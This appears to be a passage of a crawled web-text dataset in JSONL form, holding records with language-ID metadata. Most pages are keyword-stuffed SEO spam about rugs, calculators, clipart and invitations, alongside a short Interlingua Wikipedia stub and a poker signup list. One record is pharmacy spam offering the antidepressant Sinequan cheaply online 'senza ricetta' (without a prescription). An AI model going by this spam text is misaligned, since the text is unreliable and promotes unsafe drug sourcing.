0.03451952338218689, \"mfe_Latn_score\": 0.030086547136306763, \"por_Latn_score\": 0.02303832210600376, \"sco_Latn_score\": 0.020918039605021477, \"lat_Latn_score\": 0.016458431258797646, \"atj_Latn_score\": 0.015441917814314365}","num_words":1194,"character_repetition_ratio":0.409,"word_repetition_ratio":0.071,"special_characters_ratio":0.166,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":0.359,"perplexity_score":11061.6,"cluster_detection":-1} +{"text":"February 28, 2019 superseo Magasin de location de robe de mariee nantes Magasin de location de robe de mariee nantes Related PostsLocation robe de mariee 75Location robe de mariee rhone alpesLocation robe de mariee 37Robe de mariee location montpellierLocation robe de mariee orientale montpellierLocation de robe de mariee saint etienne","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/wikim.eu\/magasin-de-location-de-robe-de-mariee-nantes.html","date":"2019-06-18T12:39:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998724.57\/warc\/CC-MAIN-20190618123355-20190618145355-00303.warc.gz","language":"ina","language_score":0.3070982695,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.30709826946258545, \"sco_Latn_score\": 0.07389231771230698, \"fra_Latn_score\": 0.060661885887384415, \"vec_Latn_score\": 0.044051650911569595, \"wes_Latn_score\": 0.027171749621629715, \"zpm_Latn_score\": 0.022103257477283478, \"ile_Latn_score\": 0.021634964272379875, \"wol_Latn_score\": 0.019755033776164055, \"tsn_Latn_score\": 0.01967044174671173, \"fur_Latn_score\": 0.01943773776292801, \"tah_Latn_score\": 0.01605275832116604, \"por_Latn_score\": 0.01430780440568924, \"sot_Latn_score\": 0.013101617805659771, \"nrm_Latn_score\": 0.011154577136039734, \"pan_Latn_score\": 0.010866429656744003}","num_words":99,"character_repetition_ratio":0.25,"word_repetition_ratio":0.089,"special_characters_ratio":0.178,"stopwords_ratio":0.212,"flagged_words_ratio":0.0,"lang_id_score":0.199,"perplexity_score":4499.1,"cluster_detection":-1} +{"text":"Valutazione 4.8 sulla base di 321 voti.\nPrezzo da €0.26 Per pillola\nin linea Sinequan UK\ngenerico Doxepin hydrochloride Repubblica Ceca\nsito sicuro per acquisto Sinequan\nQuanto costa Sinequan 25 mg Repubblica Ceca\nSinequan generico preço no brasil\nA buon mercato Sinequan Brasile\nSinequan generico venda brasil\nconveniente Sinequan Doxepin hydrochloride Stati Uniti\nOrdine Sinequan 25 mg Europa\nprecio Sinequan farmacias del ahorro\nIl costo di Sinequan Doxepin hydrochloride Olanda\nin linea Doxepin hydrochloride\nSinequan soft generico\nPrezzo 25 mg Sinequan Croazia\nAcquista Sinequan 25 mg Finlandia\ngeneric Diflucan\nbuy Sildenafil Citrate\nbuy Kamagra Oral Jelly\nbuy Tizanidine\nfarmacia nissei Sinequan\nAcquistare 25 mg Sinequan Finlandia\ngenerico Doxepin hydrochloride Tacchino\nA buon mercato Sinequan 25 mg Giappone\nbasso costo Sinequan Israele\nin linea Sinequan Olanda\nA buon mercato Doxepin hydrochloride Olanda\nSinequan 25 mg in farmacia\nin linea Doxepin hydrochloride Austria\ndove comprare Sinequan generico cerco\nSinequan en farmacia cruz verde\nonde comprar Sinequan generico no brasil\nPrezzo basso Sinequan Doxepin hydrochloride Finlandia\nfarmacia online portugal Sinequan\nAcquistare Sinequan Doxepin hydrochloride Danimarca\nIl costo di 25 mg Sinequan Grecia\nse puede comprar Sinequan sin receta en farmacias\nse comprar Sinequan farmacias sin receta\nquanto costa Sinequan generico farmacia\ngenerico Sinequan Doxepin hydrochloride\nSinequan in vendita in italia\nIl costo di Sinequan 25 mg\ngeneric Sinequan farmacia\nprecio de Sinequan en farmacias guadalajara\ngenericos Sinequan brasil\ngenerico do Sinequan ah-zul\nbasso costo 25 mg Sinequan Israele\nSinequan generico tempo de efeito\ngenerico do Sinequan suvvia\ncomo comprar Sinequan na farmacia sem receita\nprecio Sinequan original farmacias\nsi può acquistare Sinequan in farmacia senza ricetta\nPrezzo 25 mg Sinequan Norvegia\ngenericos Sinequan español\nfarmacia Sinequan sin receta\nmiglior sito acquisto Sinequan\ncat costa Sinequan in farmacia\nacquisto Sinequan online reato\nin linea Sinequan 25 mg Svezia\nin linea Sinequan Doxepin hydrochloride Polonia\nIl costo di Sinequan Doxepin hydrochloride Finlandia\nprecio en farmacias de Sinequan 25 mg\nacquistare Sinequan generico line\nOrdine Doxepin hydrochloride Israele\nmiglior prezzo Sinequan generico\nIl costo di Sinequan 25 mg Stati Uniti\nacquisto Sinequan 25 mg\ncomprar Sinequan generico pela internet\ncomprar Sinequan farmacias cruz verde\nAcquista Doxepin hydrochloride Polonia\nPrezzo basso 25 mg Sinequan Svezia\nacquistare Sinequan generico contrassegno\nSinequan senza ricetta medica in farmacia\nPrezzo 25 mg Sinequan Grecia\nPrezzo Sinequan Emirati Arabi Uniti\nA buon mercato Sinequan Doxepin hydrochloride Inghilterra\nnombres genericos Sinequan argentina\nsi puo comprare Sinequan farmacia\ndonde comprar Sinequan farmacia\nqual o melhor generico do Sinequan\ncosto Sinequan 25 mg farmacia\nSinequan en farmacia benavides\nin linea Sinequan 25 mg Austria\nconveniente Sinequan 25 mg Tacchino\nPrezzo Doxepin hydrochloride UK\nacquisto Sinequan e Sinequan\nSinequan pfizer prezzo farmacia\nbasso costo 25 mg Sinequan Repubblica Ceca\nSconto Doxepin hydrochloride Austria\ngenerico do Sinequan sandoz\ngenerico 25 mg Sinequan Australia\nprecio Sinequan en farmacia andorra\nbasso costo 25 mg Sinequan Francia\nAcquistare Sinequan US\nQuanto costa Doxepin hydrochloride Svizzera\nin linea 25 mg Sinequan Portogallo\nIl costo di 25 mg Sinequan Norvegia\nSinequan costa in farmacia\nacquisto Sinequan spagna\nAcquista Doxepin hydrochloride Repubblica Ceca\nfarmacias venden Sinequan buenos aires\nSinequan farmacia online argentina\nil Sinequan si puo' acquistare in farmacia\ngenerico Doxepin hydrochloride Spagna\nfoto do generico do Sinequan\nprecio Sinequan farmacias san pablo\nPrezzo basso Sinequan UK\nacquistare Sinequan farmacia\nSinequan en genericos en mexico\nIl costo di Sinequan Doxepin hydrochloride Giappone\nSconto Doxepin hydrochloride Francia\nconveniente Sinequan Doxepin hydrochloride Danimarca\nOrdine Doxepin hydrochloride UK\nventa de Sinequan farmacias\nAcquistare Doxepin hydrochloride Italia\ngenerico 25 mg Sinequan Norvegia\nAcquistare Sinequan 25 mg Israele\nprecio Sinequan farmacias sin receta\nQuanto costa Doxepin hydrochloride Polonia\ngenerico do Sinequan em portugal\ngenerico del Sinequan\nSinequan acquisto farmacia\ncomprare Sinequan farmacia senza ricetta\nPrezzo basso Sinequan 25 mg Svizzera\nPrezzo Doxepin hydrochloride Portogallo\nAcquista Sinequan Doxepin hydrochloride Spagna\nvendita Sinequan lilly\nPrezzo basso 25 mg Sinequan Polonia\nPrezzo basso 25 mg Sinequan Olanda\nSinequan generico ricetta\nin linea Sinequan 25 mg US\nPrezzo basso Sinequan 25 mg Italia\nprezzo Sinequan originale farmacia\nconveniente 25 mg Sinequan Brasile\nSinequan preço generico\nIl costo di Sinequan Tacchino\nIl costo di Doxepin hydrochloride Repubblica Ceca\nSinequan buon prezzo\nvendita Sinequan italia line\nAcquista Sinequan Danimarca\nSinequan vendita farmacia\nSinequan nombre generico\ncomprare Sinequan generico online\ngaddafi soldiers given Sinequan\ngenerico Sinequan bula\nacquisto Sinequan generico online\nA buon mercato Sinequan Doxepin hydrochloride UK\ncuanto cuesta la Sinequan en la farmacia\nSconto Doxepin hydrochloride Inghilterra\ngenerico do Sinequan qual o nome\ncuanto cuesta el Sinequan en la farmacia argentina\nsunnyphoto.000webhostapp.com\nRhaTw","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/tutorialesroma.000webhostapp.com\/2019\/06\/miglior-prezzo-e-di-alta-qualita-conveniente-sinequan-generico-in-spring-grove-il-legale-online-pharmacy","date":"2019-08-22T18:56:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317339.12\/warc\/CC-MAIN-20190822172901-20190822194901-00101.warc.gz","language":"ina","language_score":0.4256165624,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4256165623664856, \"ita_Latn_score\": 0.12697061896324158, \"lat_Latn_score\": 0.07320982217788696, \"eus_Latn_score\": 0.054198723286390305, \"ile_Latn_score\": 0.04954036697745323, \"mlt_Latn_score\": 0.031163202598690987, \"lij_Latn_score\": 0.021836737170815468, \"vec_Latn_score\": 0.018628880381584167, \"nld_Latn_score\": 0.017746176570653915, \"kiu_Latn_score\": 0.017451347783207893, \"scn_Latn_score\": 0.0173520315438509, \"por_Latn_score\": 0.015497203916311264, \"nap_Latn_score\": 0.012612758204340935, \"slk_Latn_score\": 0.012261115945875645, \"srd_Latn_score\": 0.010426098480820656}","num_words":1567,"character_repetition_ratio":0.208,"word_repetition_ratio":0.039,"special_characters_ratio":0.154,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":0.238,"perplexity_score":29739.6,"cluster_detection":-1} +{"text":"Liste des inscrits au tournoi 6é étape jpc (deep stack) du 09\/03\/2019\n|Pseudo||Confirmation de présence|\n|1pti||En attente de validation|\n|Akiyah||En attente de validation|\n|Arcair76||En attente de validation|\n|Bacran||En attente de validation|\n|Baxter||En attente de validation|\n|Boulou76||En attente de validation|\n|Briune77||En attente de validation|\n|Cactus||En attente de validation|\n|Carottes661||En attente de validation|\n|Cochonmas||En attente de validation|\n|Dan27||En attente de validation|\n|Dinosaure||En attente de validation|\n|Dudu||En attente de validation|\n|Eric||En attente de validation|\n|EricS||En attente de validation|\n|Grutiermobile||En attente de validation|\n|Hachlan||En attente de validation|\n|Jayssan||En attente de validation|\n|Kingkong76||En attente de validation|\n|Laurent-276||En attente de validation|\n|Le Chinois||En attente de validation|\n|Miaourouen||En attente de validation|\n|Mickey 27||En attente de validation|\n|Micky||En attente de validation|\n|Muriel56||En attente de validation|\n|NEO||En attente de validation|\n|Oups désolé||En attente de validation|\n|Poker gone||En attente de validation|\n|Pourlacote||En attente de validation|\n|Prez||En attente de validation|\n|Raphael||En attente de validation|\n|Rock||En attente de validation|\n|Rosalie76||En attente de validation|\n|Samcro||En attente de validation|\n|Sao||En attente de validation|\n|Scorpion||En attente de validation|\n|Sonia27||En attente de validation|\n|Sweet almond||En attente de validation|\n|TayZeur||En attente de validation|\n|Tigrout||En attente de validation|\n|Tint's||En attente de validation|\n|Vesuve||En attente de validation|\n|Vignard||En attente de validation|\n|William57||En attente de validation|\n|Willom130213||En attente de validation|\n|ZERATUL||En attente de validation|\n\n\nAucun joueur a validé sa présence.","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/jeuxpassion.fr\/tournoi\/inscrit-128.html","date":"2019-08-26T00:07:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027330913.72\/warc\/CC-MAIN-20190826000512-20190826022512-00403.warc.gz","language":"ina","language_score":0.312228471,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3122284710407257, \"lij_Latn_score\": 0.1395498365163803, \"ast_Latn_score\": 0.05221128091216087, \"fra_Latn_score\": 0.04288585111498833, \"lvs_Latn_score\": 0.03858032822608948, \"glg_Latn_score\": 0.035558272153139114, \"kiu_Latn_score\": 0.02133718691766262, \"swe_Latn_score\": 0.01873892918229103, \"kde_Latn_score\": 0.016413554549217224, \"arg_Latn_score\": 0.013560762628912926, \"chw_Latn_score\": 0.010362137109041214, \"nld_Latn_score\": 0.010303342714905739, \"lim_Latn_score\": 0.010038884356617928}","num_words":409,"character_repetition_ratio":0.529,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":0.22,"perplexity_score":12254.6,"cluster_detection":-1} +{"text":"unique idee invitation communion pour invitation communion 41 invitation communion idee invitation communion.\nelegant idee invitation communion et confirmation religious invitations cards invitation for 34 confirmation invitation dove cards for texte invitation communion.\nidees idee invitation communion ou invitation communion 85 invitation communion invitation pour la communion carte dinvitation communion gratuite a imprimer.\nle meilleur de idee invitation communion et invitation communion garcons pain 62 invitation communion pain a plan exemple texte invitation premiere communion.\ndeja idee invitation communion et invitation communion 83 invitation communion carte invitation communion gratuite telecharger.\nluxe idee invitation communion pour invitation premiere communion garcon 38 invitation premiere communion garcon fabulous carte invitation communion.\nelegant idee invitation communion et communion 42 communion texte invitation communion.\nluxe idee invitation communion et invitation premiere communion garcon 82 invitation premiere communion garcon modele texte invitation premiere communion.\nunique idee invitation communion pour d invitation pr communion a invitation communion a 25 d invitation pr communion a texte invitation communion original.\nbon idee invitation communion ou invitation communion a 17 invitation communion a idee de texte pour invitation communion.\nbon idee invitation communion pour communion invitations first holy communion by 56 communion invitations first holy communion by modele texte invitation communion.\nidee idee invitation communion pour like this item 37 first communion invitation girl invitation communion party carte dinvitation communion fille gratuit.\nluxe idee invitation communion pour invitation communion a 42 invitation communion a carte dinvitation pour communion fille.\ndeja idee invitation communion pour invitation profession communion a 35 invitation communion carton invitation communion garcon.\nidee idee invitation communion et first communion brunette girl pink invitation 86 first communion brunette girl pink invitation carte dinvitation communion fille.\nnouveau idee invitation communion et invitation communion invitation communion rounded 11 invitation communion a planet carte invitation communion fille a imprimer gratuit.\ninspirant idee invitation communion et part com garcon invitation part garcon a 82 part com garcon invitation carte invitation communion fille a imprimer gratuit.\nunique idee invitation communion ou pour communion 79 invitations communion carte invitation communion fille.\nnouveau idee invitation communion pour pr invitation communion part action grace best 88 pr invitation communion part action carte invitation premiere communion fille a imprimer gratuit.\nelegant idee invitation communion pour pour commanr sans mots services disponib pour 3 s 95 a invitation communion s a carte invitation communion a imprimer gratuit.\nfrais idee invitation communion pour communion invitation 66 invitation premiere communion carte dinvitation de communion gratuite a imprimer.\nbon idee invitation communion pour invitation for communion first communion invitations cards invitation communion invitation for communion 13 invitation for communion see back of card invitation p.\nincroyable genial idee invitation communion ou part communion 3 12 part communion 2 carte invitation communion.\ndeja idee invitation communion pour part invitation communion moustaches 91 part invitation communion moustaches communion texte invitation communion fille.\ninspirant idee invitation communion ou confirmation invitation diner first communion invitation best baptism first communion images on 87 confirmation invitation diner first communion invitation c.\nelegant idee invitation communion ou invitation communion loading zoom 39 invitation communion carte dinvitation communion fille.\nidee idee invitation communion et invitation communion 95 invitation communion 909999 carte invitation communion vistaprint.","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/rapidrip.info\/idee-invitation-communion\/","date":"2019-09-17T21:01:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573121.4\/warc\/CC-MAIN-20190917203354-20190917225354-00063.warc.gz","language":"ina","language_score":0.3686700165,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3686700165271759, \"eng_Latn_score\": 0.22982855141162872, \"fra_Latn_score\": 0.1226271241903305, \"sco_Latn_score\": 0.07384783029556274, \"wes_Latn_score\": 0.03949795663356781, \"mfe_Latn_score\": 0.018614893779158592, \"ben_Latn_score\": 0.015293783508241177}","num_words":745,"character_repetition_ratio":0.386,"word_repetition_ratio":0.022,"special_characters_ratio":0.154,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":0.369,"perplexity_score":13027.1,"cluster_detection":-1} +{"text":"bibliothek tu berlin cafeteria clipart varadhan 75 tu berlin clipart bibliothek cafeteria .\nbibliothek tu berlin cafeteria clipart büro uebele walter knoll orientierungssystem und tu bibliothek cafeteria clipart berlin .\nbibliothek tu berlin cafeteria clipart bauinx home facebook clipart berlin cafeteria bibliothek tu .\nbibliothek tu berlin cafeteria clipart bauwelt veranstaltung in berlin moderne geisterstädte bibliothek clipart berlin tu cafeteria .\nbibliothek tu berlin cafeteria clipart museum musikinstrumenten museum museumsportal berlin tu clipart berlin bibliothek cafeteria .\nbibliothek tu berlin cafeteria clipart tu intern juni 2005 berlin cafeteria clipart bibliothek tu .\nbibliothek tu berlin cafeteria clipart dÍa del libro infantil la aventura comienza berlin bibliothek cafeteria clipart tu .\nbibliothek tu berlin cafeteria clipart vita klemens renner clipart cafeteria bibliothek tu berlin .\nbibliothek tu berlin cafeteria clipart cafe telquel accueil facebook tu berlin cafeteria clipart bibliothek .\nbibliothek tu berlin cafeteria clipart elite universitäten der osten in der falle tazde bibliothek clipart cafeteria berlin tu .\nbibliothek tu berlin cafeteria clipart gwa bilder architecture 259287 with various at tu wien tu cafeteria bibliothek clipart berlin .\nbibliothek tu berlin cafeteria clipart büro uebele walter knoll orientierungssystem und cafeteria clipart berlin bibliothek tu .\nbibliothek tu berlin cafeteria clipart dibujos de lobos faciles dibujos para colorear berlin tu clipart bibliothek cafeteria .\nbibliothek tu berlin cafeteria clipart künstliche enzyme aus dem schülerlabor max planck bibliothek tu cafeteria clipart berlin .\nbibliothek tu berlin cafeteria clipart gwa bilder architecture 259287 with various at tu wien cafeteria berlin tu bibliothek clipart .\nbibliothek tu berlin cafeteria clipart research academy leipzig science café berlin cafeteria bibliothek tu clipart .\nbibliothek tu berlin cafeteria clipart newsportal plaudern lernen karten spielen tu berlin bibliothek clipart cafeteria .\nbibliothek tu berlin cafeteria clipart mathe ini tu berlin home facebook cafeteria bibliothek tu clipart berlin .\nbibliothek tu berlin cafeteria clipart stabsstelle kommunikation events und alumni clipart berlin cafeteria tu bibliothek .\nbibliothek tu berlin cafeteria clipart museum musikinstrumenten museum museumsportal berlin bibliothek clipart berlin cafeteria tu .\nbibliothek tu berlin cafeteria clipart welches programm für diesen ort unternullde bibliothek cafeteria clipart tu berlin .\nbibliothek tu berlin cafeteria clipart cafe telquel accueil facebook bibliothek berlin cafeteria tu clipart .\nbibliothek tu berlin cafeteria clipart newsportal architekturentscheid für 124 millionen projekt cafeteria tu clipart bibliothek berlin .\nbibliothek tu berlin cafeteria clipart cdhk aktuelles cafeteria bibliothek berlin tu clipart .\nbibliothek tu berlin cafeteria clipart cdhk aktuelles tu bibliothek berlin clipart cafeteria .\nbibliothek tu berlin cafeteria clipart gwa bilder architecture 259287 with various at tu wien bibliothek cafeteria tu clipart berlin .\nbibliothek tu berlin cafeteria clipart speisekarte cafe archive cafenero fasanenstr88 ecke bibliothek clipart berlin tu cafeteria .\nbibliothek tu berlin cafeteria clipart bibliotecas libros y lugares de estudio berlin wie bitte berlin clipart bibliothek tu cafeteria .\nbibliothek tu berlin cafeteria clipart vw bibliothek speisekarte archive café nero fasanenstr88 bibliothek cafeteria tu clipart berlin .\nbibliothek tu berlin cafeteria clipart cdhk aktuelles clipart tu berlin bibliothek cafeteria .","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/cosmoweb.info\/bibliothek-tu-berlin-cafeteria-clipart\/","date":"2019-11-12T11:04:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496665521.72\/warc\/CC-MAIN-20191112101343-20191112125343-00297.warc.gz","language":"ina","language_score":0.3048276007,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.30482760071754456, \"eng_Latn_score\": 0.06254284083843231, \"ile_Latn_score\": 0.05250488221645355, \"lmo_Latn_score\": 0.040239762514829636, \"roh_Latn_score\": 0.029185058549046516, \"eus_Latn_score\": 0.02496263198554516, \"avk_Latn_score\": 0.02448495291173458, \"pis_Latn_score\": 0.023046139627695084, \"hun_Latn_score\": 0.018215816468000412, \"fra_Latn_score\": 0.016256682574748993, \"lat_Latn_score\": 0.016200106590986252, \"dag_Latn_score\": 0.016120336949825287, \"pcm_Latn_score\": 0.0159734096378088, \"frr_Latn_score\": 0.0159669890999794, \"pol_Latn_score\": 0.014471297152340412, \"swe_Latn_score\": 0.013664539903402328, \"lit_Latn_score\": 0.011488248594105244}","num_words":1171,"character_repetition_ratio":0.369,"word_repetition_ratio":0.418,"special_characters_ratio":0.153,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":0.304,"perplexity_score":14455.7,"cluster_detection":-1} +{"text":"casio fx300esplus plus scientific calculator battery solar operated natural display fx 300es user manual.\ncasio fx300esplus 2 of 5 plus scientific calculator in pink fx 300es standard deviation.\ncasio fx300esplus plus scientific calculator blue with plastic cover fresh battery fx 300es decimal mode.\ncasio fx300esplus plus fx 300es manual decimal mode.\ncasio fx300esplus plus scientific calculator teacher pack of manual calculadora fx 300es.\ncasio fx300esplus como resetear una calculadora fx 300es plus.\ncasio fx300esplus fx 300es plus scientific calculator reset.\ncasio fx300esplus plus scientific 1 4 black fx 300es sigma.\ncasio fx300esplus fx 300es plus complex numbers.\ncasio fx300esplus scientific calculator fx 300es plus notation to decimal.\ncasio fx300esplus plus scientific calculator solar battery fx 300es integral.\ncasio fx300esplus 4 pack battery replacement for plus calculator fx 300es user manual.\ncasio fx300esplus scientific calculator plus bonus pack fx 300es decimal mode.\ncasio fx300esplus plus scientific calculator black w natural textbook display new fx 300es user manual.\ncasio fx300esplus scientific calculator plus pink fx 300es user manual.\ncasio fx300esplus fx 300es plus reset.\ncasio fx300esplus fx 300es plus sigma.\ncasio fx300esplus instrument ti and plus calculator 2 items fx 300es binomial distribution.\ncasio fx300esplus pk fraction scientific calculator pink como resetear una calculadora fx 300es plus.\ncasio fx300esplus plus in fx 300es binomial distribution.\ncasio fx300esplus plus scientific calculator for sale in city ca fx 300es user manual.\ncasio fx300esplus fx 300es plus summation.\ncasio fx300esplus find it on fx 300es plus standard deviation.\ncasio fx300esplus plus fx 300es instructions.\ncasio fx300esplus fx 300es plus scientific notation to decimal.","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/transitory.me\/casio-fx300esplus\/","date":"2019-12-05T23:24:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540482284.9\/warc\/CC-MAIN-20191205213531-20191206001531-00325.warc.gz","language":"ina","language_score":0.3391813338,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3391813337802887, \"eng_Latn_score\": 0.3197103440761566, \"dag_Latn_score\": 0.06843075156211853, \"lat_Latn_score\": 0.029459185898303986, \"ile_Latn_score\": 0.027554189786314964, \"fra_Latn_score\": 0.02752652019262314, \"oci_Latn_score\": 0.020792806521058083, \"sun_Latn_score\": 0.0165850892663002, \"dan_Latn_score\": 0.011700397357344627, \"pap_Latn_score\": 0.010305839590728283}","num_words":463,"character_repetition_ratio":0.281,"word_repetition_ratio":0.203,"special_characters_ratio":0.243,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":0.339,"perplexity_score":7622.2,"cluster_detection":-1} +{"text":"aqua area rugs aqua aqua area rug 6x9.\naqua area rugs aqua and ivory hand tufted area rug natural wool trellis design aqua area rugs 8x10.\naqua area rugs hand woven dark aqua area rug aqua area rug 4x6.\naqua area rugs shop aqua green area rug free shipping today overstock aqua area rug 5x7.\naqua area rugs aqua area rug nursery.\naqua area rugs oasis area rug aqua gold 5 x 8 aqua area rug 5x7.\naqua area rugs vintage aqua rug contemporary area rugs by aqua area rugs 8x10.\naqua area rugs aqua area rugs 8x10.\naqua area rugs product reviews aqua area rug 5x8.\naqua area rugs aqua area rug aqua area rug nursery.\naqua area rugs hand woven shag aqua area rug aqua area rug nursery.\naqua area rugs area rug aqua area rugs sale.\naqua area rugs area rug rectangle camel aqua aqua area rug 5x7.\naqua area rugs watercolor aqua area rug 4x6.\naqua area rugs aqua indoor outdoor area rug aqua area rug 4x6.\naqua area rugs area rug aqua aqua area rug 9x12.\naqua area rugs aqua area rug rugs target furniture stores in route are aqua area rug 5x7.\naqua area rugs aqua area rug fresh aqua area rug in modern sofa inspiration with aqua area rug aqua area rugs sale.\naqua area rugs aqua pink area rug aqua area rug 5x7.\naqua area rugs navy blue aqua area rug aqua area rug 4x6.\naqua area rugs aqua area rug aqua brown area rugs aqua area rugs 8x10.\naqua area rugs aqua area rug aqua area rug 5x8.\naqua area rugs heritage hall a area rug aqua area rug 4x6.\naqua area rugs radiance aqua 7 ft 6 in x ft indoor area rug aqua area rug nursery.\naqua area rugs red barrel studio aqua area rug aqua area rug 6x9.\naqua area rugs relic light brown area rug aqua area rug 4x6.\naqua area rugs aqua area rug 5x8.\naqua area rugs area rug aqua aqua area rug 6x9.\naqua area rugs teal gray and brown area rug blue grey aqua haze aqua area rug 4x6.\naqua area rugs vintage aqua 4 x 6 rug aqua area rug 9x12.\naqua area rugs aqua area rug aqua area rug 5x7.","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/lunchshare.club\/aqua-area-rugs\/","date":"2020-01-18T23:30:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250593994.14\/warc\/CC-MAIN-20200118221909-20200119005909-00128.warc.gz","language":"ina","language_score":0.4616245627,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4616245627403259, \"cbk_Latn_score\": 0.12955594062805176, \"eng_Latn_score\": 0.10750674456357956, \"mlt_Latn_score\": 0.05832124873995781, \"ron_Latn_score\": 0.040033143013715744, \"ile_Latn_score\": 0.03176277503371239, \"dan_Latn_score\": 0.031404756009578705, \"avk_Latn_score\": 0.015651829540729523, \"gmh_Latn_score\": 0.0102320471778512}","num_words":517,"character_repetition_ratio":0.41,"word_repetition_ratio":0.248,"special_characters_ratio":0.245,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.462,"perplexity_score":15176.0,"cluster_detection":-1} +{"text":"Divisor de zero\nSaltar al navigation Saltar al recerca\n- Un divisor de zero a sinistre es un elemento de un anello, si existe un elemento tal que .\n- Un divisor de zero a dextre es un elemento de un anello, si existe un elemento tal que .\n- Un divisor de zero es un elemento que es un divisor de zero a sinistre o a dextre.\nExemplos[modificar | modificar fonte]\nLe anello del numeros integre es sin divisores de zero, durante que le anello con le addition e multiplication usual ha le divisores e , perque .","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/ia.wikipedia.org\/wiki\/Divisor_de_zero","date":"2021-03-03T09:33:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178366477.52\/warc\/CC-MAIN-20210303073439-20210303103439-00366.warc.gz","language":"ina","language_score":0.9911454916,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.9911454916000366}","num_words":102,"character_repetition_ratio":0.159,"word_repetition_ratio":0.172,"special_characters_ratio":0.221,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":104.7,"cluster_detection":-1} +{"text":"Inicio \/ Linea Marita \/ un cafe marita mas te de jengibre mas tapaboca un cafe marita mas te de jengibre mas tapaboca$1,790 un cafe marita mas te de jengibre mas tapaboca cantidad Añadir al carrito Categoría: Linea Marita Productos relacionados un te mas galletitas $1,300 Añadir al carrito capuchino mas cafe marita $1,590 Añadir al carrito un cafe marita mas un te de maracuya mas un tapaboca de regalo $1,790 Añadir al carrito Colágeno Marita $1,450 Añadir al carrito","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/saludnatural.com.uy\/producto\/un-cafe-marita-mas-te-de-jengibre-mas-tapaboca\/","date":"2021-04-17T04:54:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038101485.44\/warc\/CC-MAIN-20210417041730-20210417071730-00591.warc.gz","language":"ina","language_score":0.4152700603,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.415270060300827, \"spa_Latn_score\": 0.3028049170970917, \"ile_Latn_score\": 0.08623019605875015, \"pap_Latn_score\": 0.0405404306948185, \"cbk_Latn_score\": 0.040031690150499344, \"oci_Latn_score\": 0.015794172883033752, \"tzo_Latn_score\": 0.015159564092755318, \"mwl_Latn_score\": 0.014458206482231617}","num_words":134,"character_repetition_ratio":0.176,"word_repetition_ratio":0.312,"special_characters_ratio":0.238,"stopwords_ratio":0.037,"flagged_words_ratio":0.0,"lang_id_score":0.357,"perplexity_score":16704.6,"cluster_detection":-1} +{"text":"- Genre:World Music\n- Year of Release:1997\nLyrics\nSimilar Songs\nListen to Grupo Senzala Mestre Peixinho Le Le Le Ooo MP3 song. Le Le Le Ooo song from album Centro Cultural Senzala de Capoeira is released in 1997. The duration of song is 00:01:32. The song is sung by Grupo Senzala Mestre Peixinho.\nRelated Tags: Le Le Le Ooo, Le Le Le Ooo song, Le Le Le Ooo MP3 song, Le Le Le Ooo MP3, download Le Le Le Ooo song, Le Le Le Ooo song, Centro Cultural Senzala de Capoeira Le Le Le Ooo song, Le Le Le Ooo song by Grupo Senzala Mestre Peixinho, Le Le Le Ooo song download, download Le Le Le Ooo MP3 song","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.boomplay.com\/songs\/6724818","date":"2021-10-27T00:33:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587963.12\/warc\/CC-MAIN-20211026231833-20211027021833-00677.warc.gz","language":"ina","language_score":0.7332664728,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7332664728164673, \"xho_Latn_score\": 0.11967156827449799, \"cbk_Latn_score\": 0.02748911827802658, \"smo_Latn_score\": 0.020099854096770287, \"sot_Latn_score\": 0.019868530333042145, \"nso_Latn_score\": 0.012667709961533546, \"nap_Latn_score\": 